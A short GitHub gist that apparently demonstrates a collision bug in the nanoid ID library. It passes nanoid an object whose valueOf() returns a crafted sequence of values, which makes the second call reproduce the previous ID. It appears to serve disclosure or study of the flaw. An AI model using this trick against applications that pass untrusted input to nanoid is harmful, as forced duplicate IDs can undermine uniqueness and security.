/nanoid-collision.js Secret
Created
January 11, 2022 11:09
Star
You must be signed in to star a gist
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import { nanoid } from 'nanoid'; | |
const makeProxyNumberToReproducePreviousID = () => { | |
let step = 0; | |
return { | |
valueOf() { | |
// // if (!pool || pool.length < bytes) { | |
if (step === 0) { | |
step++; | |
return 0; | |
} | |
// } else if (poolOffset + bytes > pool.length) { | |
if (step === 1) { | |
step++; | |
return -Infinity; | |
} | |
// poolOffset += bytes | |
if (step === 2) { | |
step++; | |
return 0; | |
} | |
return 21; | |
}, | |
}; | |
}; | |
const ID1 = nanoid(); | |
const ID2 = nanoid(makeProxyNumberToReproducePreviousID()); | |
console.log({ ID1, ID2, isIDsEqual: ID1 === ID2 }); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment